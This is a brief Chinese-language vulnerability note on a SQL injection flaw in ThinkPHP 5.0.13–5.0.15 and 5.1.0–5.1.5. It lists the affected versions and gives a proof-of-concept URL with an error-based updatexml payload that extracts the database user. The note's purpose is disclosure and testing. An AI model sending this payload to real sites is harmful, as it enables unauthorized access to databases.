Thinkphp 5.0.(13-15)&5.1.(0-5) sql注入漏洞

漏洞影响¶

5.0.13<=ThinkPHP<=5.0.15 5.1.0<=ThinkPHP<=5.1.5

漏洞POC¶

没开启debug看不到报错信息``` http://*********/index/index/index?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1